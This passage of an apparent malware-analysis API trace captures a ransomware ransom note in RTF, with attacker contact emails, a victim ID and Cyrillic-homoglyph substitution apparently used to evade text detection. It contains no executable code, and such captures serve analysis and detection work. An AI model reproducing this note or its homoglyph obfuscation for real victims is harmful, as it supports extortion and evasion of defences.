s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 